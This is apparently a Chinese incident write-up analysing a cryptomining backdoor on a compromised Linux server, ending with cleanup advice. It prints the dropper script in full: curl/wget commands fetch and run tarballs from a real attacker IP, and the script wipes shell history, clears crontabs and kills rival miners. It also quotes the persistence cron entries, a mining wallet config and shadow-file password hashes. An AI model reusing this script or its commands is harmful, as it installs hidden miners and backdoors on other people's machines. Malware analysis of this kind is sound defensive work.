curl -O 2.58.149.237:6972/hoze

image-20220117135255528

image-20220117135335865

文件内容为:

#!/bin/bash
cores=$(nproc)
temp=$(cat /proc/meminfo | grep MemAvailable | awk  '{print$2}')
ram=$(expr $temp / 1000)
echo $cores
echo $ram
#ram=10
rm -rf hoze
rm -rf /var/tmp/hoze
[[ ! $(uname -a) =~ "x86_64" ]] && exit
#####################################
function SlowAndSteady {
cd /var/tmp ; curl -O 2.58.149.237:6972/xri3.tar || cd1 -O 2.58.149.237:6972/xri3.tar || wget 2.58.149.237:6972/xri3.tar && tar -xvf xri3.tar && mv xri3 .xri && rm -rf xri3.tar && cd .xri ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history
​
}
​
function MoneyFactory {
cd /var/tmp ; curl -O 2.58.149.237:6972/xrx2.tar || cd1 -O 2.58.149.237:6972/xrx2.tar || wget 2.58.149.237:6972/xrx2.tar && tar -xvf xrx2.tar && mv xrx2 .xrx && rm -rf xrx.tar && cd .xrx ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history
​
}
#####################################
rm -rf /var/tmp/.xri
rm -rf /var/tmp/.xrx
rm -rf /var/tmp/.x
pkill -9 xri
pkill -9 xrx
pkill -STOP xmrig
pkill -STOP Opera
rm -rf ~/Opera
​
#####################################
if [ "$EUID" = 0 ]; then
    chmod 755 /usr/bin/chattr > /dev/null 2>&1
    chattr -ia /etc/newinit.sh > /dev/null 2>&1
    rm -rf /etc/newinit.sh > /dev/null 2>&1
    chattr -R -ia /var/spool/cron > /dev/null 2>&1
    chattr -ia /etc/crontab > /dev/null 2>&1
    chattr -R -ia /var/spool/cron/crontabs > /dev/null 2>&1
    chattr -R -ia /etc/cron.d > /dev/null 2>&1
fi
chattr -ia /tmp/newinit.sh > /dev/null 2>&1
rm -rf /tmp/newinit.sh > /dev/null 2>&1
echo "crontab info:"
crontab -l
crontab -r > /dev/null
chattr -ia /etc/zzh > /dev/null
chattr -ia /tmp/zzh > /dev/null
rm -rf /etc/zzh > /dev/null
rm -rf /tmp/zzh > /dev/null
pkill -f "zzh" > /dev/null
chattr -ia /tmp/.ice-unix > /dev/null
rm -rf /tmp/.ice-unix > /dev/null
chattr -ia /usr/local/bin/pnscan > /dev/null
rm -rf /usr/local/bin/pnscan > /dev/null
pkill -f "pnscan" > /dev/null
mv /bin/top.original /bin/top
#####################################
if (( $cores < 4 )) || (( $ram < 2300 )) ; then
    echo "installing trtl miner"
    SlowAndSteady
elif (( $cores >= 4 )) && (( $ram >= 2300 )) ; then
        echo "installing xmr miner"
    SlowAndSteady
fi

前几步是用来判断系统的内存和进程限制,但对后面的运行实际没有区别,非x86架构则直接退出运行。中间有个下载文件,是一个二进制文件,下载下来查看一下。

curl -O 2.58.149.237:6972/xri3.tar

image-20220117144846484

后门先进行进程的清理,然后在root下修改定时任务文件,删除了一个shell文件/etc/newinit.sh,我去查了一下这个文件,发现也是一个挖矿的定时程序,原来是先把别的程序给他删了,再去执行自己的。同时修改文件的属性,便于更改。后续还删除了pnscan,这个是针对reids的挖矿病毒,会修改top文件为top.original,这里也贴心的帮你修改过来了。

原pnscan病毒会修改top为:echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top

只是它还会修改ps命令,这里没有修改回来,看来还不够贴心。

不管你系统是多少内存啥的,反正都给你运行函数SlowAndSteady。会解压在/var/tmp目录下,更改名称为.xri。执行目录下的chmod +x * ; ./init0,同时给你删除掉命令记录,同时删除下载的压缩包。

从文件内看到一个key文件,里面是ssh的公钥,说明保留采用公钥的方式登陆的后门。

/root/.ssh/authorized_keys

会在/etc/crontab里写入定时任务

@weekly root /var/tmp/.x/secure
@reboot root /var/tmp/.x/secure

config里配置了门罗币的地址

"url": "5.9.157.2:10380",
            "user": "TRTLv1M57YFZjutXRds3cNd6iRurtebcy6HxQ6hRMCzGF5nE4sWuqCCX9vamnUcG35BkQy6VfwUy5CsV9YNomioPGGyVhKTze3C",
            "pass": "x",
            "rig-id": "pooled",

执行的程序为/var/tmp/.xri下的xri文件,后续还会在/var/tmp/.x下把scp和secure拷贝进来,上面的定时任务也是针对这个secure文件。

程序还会在创建一个cheeki的普通用户,密码写在shadow文件内,看起来是跟root一个密码。但是这个密码是修改过,也就是root的密码修改为其他密码了。

root:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
adm:*:18353:0:99999:7:::
lp:*:18353:0:99999:7:::
sync:*:18353:0:99999:7:::
shutdown:*:18353:0:99999:7:::
halt:*:18353:0:99999:7:::
mail:*:18353:0:99999:7:::
operator:*:18353:0:99999:7:::
games:*:18353:0:99999:7:::
ftp:*:18353:0:99999:7:::
nobody:*:18353:0:99999:7:::
systemd-network:!!:19011::::::
dbus:!!:19011::::::
polkitd:!!:19011::::::
sshd:!!:19011::::::
postfix:!!:19011::::::
chrony:!!:19011::::::
cheeki:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::

scp文件从作用上看,是负责进程维护和修改定时任务的

#!/bin/bash
while true; do /var/tmp/.x/secure ; sleep 10; done

从进程中scp启动后,xri才会出现,也就是xri至少是secure产生的,init.sh里面倒是写明白了启动xri并且使用diswon后台维护。整个流程中secure是关键运行文件。

因此需要查看被爆破的用户是哪个,去除密钥和用户,删除定时任务和进程。重启之前记得修改root密码。





# shell  

tocToc: